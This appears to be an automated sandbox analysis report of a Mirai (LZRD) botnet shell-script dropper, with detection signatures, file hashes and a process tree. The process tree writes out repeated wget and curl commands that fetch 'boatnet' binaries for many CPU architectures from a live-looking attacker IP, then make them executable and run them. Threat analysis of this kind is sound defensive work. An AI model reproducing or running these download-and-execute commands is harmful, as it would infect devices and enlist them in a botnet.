Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01-11-2024 04:06

General

  • Target

    75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh

  • Size

    2KB

  • MD5

    7223c9d6dfd0588a042452a35c3eedd5

  • SHA1

    3ee35c5d531fccd8bdefb6143429e29575ee47e4

  • SHA256

    75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420

  • SHA512

    d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
    /tmp/75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh
    1⤵
    • Writes file to tmp directory
    PID:697
    • /usr/bin/wget
      wget http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:703
    • /usr/bin/curl
      curl -O http://37.221.93.101/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:711
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:722
      • /bin/chmod
        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.x86 systemd-private-e6fbaed6b29d46d8a084638396a20df5-systemd-timedated.service-UyAA5d WTF
        2⤵
        • File and Directory Permissions Modification
        PID:724
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:726
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:731
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:732
      • /bin/chmod
        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.mips boatnet.x86 systemd-private-e6fbaed6b29d46d8a084638396a20df5-systemd-timedated.service-UyAA5d WTF
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:734
      • /usr/bin/wget
        wget http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:738
      • /usr/bin/curl
        curl -O http://37.221.93.101/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:739
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:740
        • /bin/chmod
          chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-e6fbaed6b29d46d8a084638396a20df5-systemd-timedated.service-UyAA5d WTF
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:742
        • /usr/bin/wget
          wget http://37.221.93.101/hiddenbin/boatnet.i468
          2⤵
            PID:744
          • /usr/bin/curl
            curl -O http://37.221.93.101/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:745
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:754
            • /bin/chmod
              chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:757
            • /usr/bin/wget
              wget http://37.221.93.101/hiddenbin/boatnet.i686
              2⤵
                PID:758
              • /usr/bin/curl
                curl -O http://37.221.93.101/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:764
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:774
                • /bin/chmod
                  chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:775
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:776
                • /usr/bin/wget
                  wget http://37.221.93.101/hiddenbin/boatnet.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:777
                • /usr/bin/curl
                  curl -O http://37.221.93.101/hiddenbin/boatnet.x86_64
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:785
                • /bin/cat
                  cat boatnet.x86_64
                  2⤵
                    PID:797
                  • /bin/chmod
                    chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:798
                  • /tmp/WTF
                    ./WTF
                    2⤵
                    • Executes dropped EXE
                    PID:800
                  • /usr/bin/wget
                    wget http://37.221.93.101/hiddenbin/boatnet.mpsl
                    2⤵
                    • Writes file to tmp directory
                    PID:803
                  • /usr/bin/curl
                    curl -O http://37.221.93.101/hiddenbin/boatnet.mpsl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:809
                  • /bin/cat
                    cat boatnet.mpsl
                    2⤵
                      PID:810
                    • /bin/chmod
                      chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:811
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:812
                    • /usr/bin/wget
                      wget http://37.221.93.101/hiddenbin/boatnet.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:814
                    • /usr/bin/curl
                      curl -O http://37.221.93.101/hiddenbin/boatnet.arm
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /bin/cat
                      cat boatnet.arm
                      2⤵
                        PID:816
                      • /bin/chmod
                        chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:817
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:818
                      • /usr/bin/wget
                        wget http://37.221.93.101/hiddenbin/boatnet.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:820
                      • /usr/bin/curl
                        curl -O http://37.221.93.101/hiddenbin/boatnet.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:821
                      • /bin/cat
                        cat boatnet.arm5
                        2⤵
                          PID:822
                        • /bin/chmod
                          chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:823
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:825
                        • /usr/bin/wget
                          wget http://37.221.93.101/hiddenbin/boatnet.arm6
                          2⤵
                          • Writes file to tmp directory
                          PID:828
                        • /usr/bin/curl
                          curl -O http://37.221.93.101/hiddenbin/boatnet.arm6
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:836
                        • /bin/cat
                          cat boatnet.arm6
                          2⤵
                            PID:846
                          • /bin/chmod
                            chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:847
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:848
                          • /usr/bin/wget
                            wget http://37.221.93.101/hiddenbin/boatnet.arm7
                            2⤵
                            • Writes file to tmp directory
                            PID:852
                          • /usr/bin/curl
                            curl -O http://37.221.93.101/hiddenbin/boatnet.arm7
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:858
                          • /bin/cat
                            cat boatnet.arm7
                            2⤵
                              PID:864
                            • /bin/chmod
                              chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:865
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:866
                            • /usr/bin/wget
                              wget http://37.221.93.101/hiddenbin/boatnet.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:868
                            • /usr/bin/curl
                              curl -O http://37.221.93.101/hiddenbin/boatnet.ppc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:869
                            • /bin/cat
                              cat boatnet.ppc
                              2⤵
                                PID:870
                              • /bin/chmod
                                chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:871
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:872
                              • /usr/bin/wget
                                wget http://37.221.93.101/hiddenbin/boatnet.spc
                                2⤵
                                • Writes file to tmp directory
                                PID:874
                              • /usr/bin/curl
                                curl -O http://37.221.93.101/hiddenbin/boatnet.spc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:875
                              • /bin/cat
                                cat boatnet.spc
                                2⤵
                                  PID:876
                                • /bin/chmod
                                  chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:877
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:878
                                • /usr/bin/wget
                                  wget http://37.221.93.101/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:880
                                • /usr/bin/curl
                                  curl -O http://37.221.93.101/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:881
                                • /bin/cat
                                  cat boatnet.m68k
                                  2⤵
                                    PID:882
                                  • /bin/chmod
                                    chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:883
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:884
                                  • /usr/bin/wget
                                    wget http://37.221.93.101/hiddenbin/boatnet.sh4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:886
                                  • /usr/bin/curl
                                    curl -O http://37.221.93.101/hiddenbin/boatnet.sh4
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:887
                                  • /bin/cat
                                    cat boatnet.sh4
                                    2⤵
                                      PID:888
                                    • /bin/chmod
                                      chmod +x 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:889
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:890

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/WTF

                                    Filesize

                                    23KB

                                    MD5

                                    6435daeac1475e26a58bb4a1a1d559f2

                                    SHA1

                                    84038f6881249b0a485f29424e9cc5c4d623a82d

                                    SHA256

                                    27470473f6b873dfcdc2d9394775287286916759db07a55e0ea70b151e9943cc

                                    SHA512

                                    d14dc6bba03e413fd9f05ced7de92740f9c4c09d0ea2d2c792a7ee03b21aa39417a73143f562ecbbba99275094f9f72cfd2ad4391527d77e739c2bcd900c9e5f

                                  • /tmp/WTF

                                    Filesize

                                    105KB

                                    MD5

                                    8eb17c639b114677199b2a6dd1e7e05c

                                    SHA1

                                    b02b3e3cc1f6ea4bb91fd2e7752a3cdc2823139f

                                    SHA256

                                    96bd43ec3d867cfe80a85a4db2f9cc9681369d9d90c64828145f900655c489dd

                                    SHA512

                                    d54b2ce47a437358d939b0f0d2f2eb46a0a38f101a6144e7644aedee5af8bde3ef6ae35ee9187cb559c78f35628315aea16da31dfe97de15e9f6719559e9b471

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    f1c24d9fa40a047ae22d2d3ae7dfeac9

                                    SHA1

                                    750274b02d5f5b00026a4f55b020f4285c693533

                                    SHA256

                                    219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                    SHA512

                                    36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                  • /tmp/WTF

                                    Filesize

                                    220B

                                    MD5

                                    a8f502a6fb3b7b940e922c951d9e493a

                                    SHA1

                                    fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                    SHA256

                                    748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                    SHA512

                                    e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                  • /tmp/WTF

                                    Filesize

                                    55KB

                                    MD5

                                    e7a4009e7f1e36b5fbe9ea50423cb0cb

                                    SHA1

                                    8097c404de6facfdf3a8334508adf1428d0831f1

                                    SHA256

                                    6eaaf842e5bb5155941b3569bd4bfd6907b9c2875118c52bbce210c267f14866

                                    SHA512

                                    249abec36b64b00257f26ed4d925a67589b0f1c0feb9c8c4731f996ebbb1bc209d6fa89fc76170d058f1b24af15e658f64de8192999439ef3ba46e99a8f0a50f

                                  • /tmp/boatnet.x86

                                    Filesize

                                    20KB

                                    MD5

                                    9989c8ea288da2dddad73db20f372194

                                    SHA1

                                    06efc879f9c23d099b6716bf9f84ac8666f29e98

                                    SHA256

                                    9d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008

                                    SHA512

                                    32ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9